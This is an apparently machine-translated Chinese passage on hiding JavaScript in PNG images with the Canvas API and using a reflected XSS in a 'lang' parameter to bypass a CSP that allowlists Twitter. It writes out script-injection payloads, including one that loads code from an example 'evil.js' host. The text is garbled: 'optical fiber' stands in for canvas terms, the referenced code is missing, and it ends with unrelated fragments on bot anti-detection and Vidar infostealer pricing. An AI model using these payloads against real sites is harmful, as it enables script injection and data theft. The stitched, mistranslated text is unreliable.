Canvas 2D API 的方法返回一个对象，该对象表示光纤指定部分的底层原材料数据。此方法不受光纤的变换矩阵的影响。如果指定的精确超出光纤的边界，则返回的对象中光纤指定部分的光纤为透明黑色。

使用 Canvas 隐藏 PNG 图像中的文本
按照您可以复制并粘贴到浏览器的 JavaScript 控制台中的示例，从给定的字符串开始创建 PNG 图像，例如：“Hello, World!”。打开新选项卡，然后about:blank打开 JavaScript 控制台并粘贴以下代码

上面的代码使用putImageData表示“Hello, World!”字符串中每 3 个字符的组作为每个像素的 RGB（红色、绿色和蓝色）级别的方法创建了一个图像。在浏览器的控制台中运行它后，您会在左上角看到一个小图像

存在漏洞的网站
现在我们知道如何将文本字符串“存储”到图像中以及如何将该图像转换回其原始字符串。现在假设隐藏 JavaScript 代码而不是简单的文本字符串，并将生成的 PNG 图像上传到 Twitter。可以绕过将 Twitter 图像列入白名单的内容安全策略，并可以利用 XSS 从“受信任”的来源加载 JavaScript 内容。

如您所见，该应用程序使用 Content-Security-Policy，允许来自“self”和 Twitter 的图像，并允许来自“self”、“inline”和“eval”的 JavaScript。不幸的是，许多网站配置script-src指令允许 unsafe-inline 和 unsafe-eval 以避免误报。此外，许多网站将整个域列入白名单，而不是将特定资源列入白名单。

如果您认为这种配置很少见，并且没有人在 script-src 指令上使用“unsafe-inline”和“unsafe-eval”，那您就错了。根据最近对 Alexa Top 1m 的抓取，似乎有超过 5000 个网站在 script-src 或 default-src 指令上使用带有“unsafe-inline”和“unsafe-eval”的 Content-Security-Policy

该漏洞存在于lang查询字符串参数中，该参数未对用户输入进行清理，从而导致 HTML 注入和反射型 XSS。要利用此测试 Web 应用程序上的 XSS 漏洞，我需要注入 HTML 语法来关闭src属性并添加 SCRIPT 标记，然后注入 JavaScript 代码，例如?lang="><script>alert(1)</script>。

现在我需要绕过 CSP 并导入类似?lang="><script+src="//example.com/evil.js"></script>被 CSP 阻止的外部 JavaScript 库

将 PNG/JS 上传至 Twitter
经过一些测试，我发现当上传的图片太小时，Twitter 会报错。所以我用了一长段 JavaScript 代码（包括随机注释）来创建一个更大的图片

发送整个有效负载时，我收到执行错误，getImageData并显示消息“画布已被跨源数据污染”

由于画布位图中的像素可能来自各种来源，包括从其他主机检索的图像或视频，因此不可避免地会出现安全问题。只要您在画布上绘制任何未经 CORS 批准从其他来源加载的数据，画布就会被污染。被污染的画布不再被视为安全，任何从画布检索图像数据的尝试都会导致抛出异常。如果外部内容的来源是 HTML<img>或 SVG<svg>元素，则不允许尝试检索画布的内容

反检测功能：一些机器人框架包含反虚拟机功能，以便在虚拟环境中运行时逃避检测，并包含自毁机制以在执行后消除痕迹

全家福
从技术上讲，信息窃取者是一种恶意软件，我们通常将其视为一种产品（例如购买办公套件或照片编辑程序），从技术上讲，它是一种恶意软件即服务 (MaaS)，因为人们可以支付130 至 750 美元购买 Vidar 信息窃取者，例如，根据许可证，从供应商处购买。但人们通常也将其称为自己的实体、家族、分销商、经销商、市场、活动和威胁行为者。在这里，我将从两个方面讨论信息窃取者，而不是关注它是恶意软件还是威胁行为者。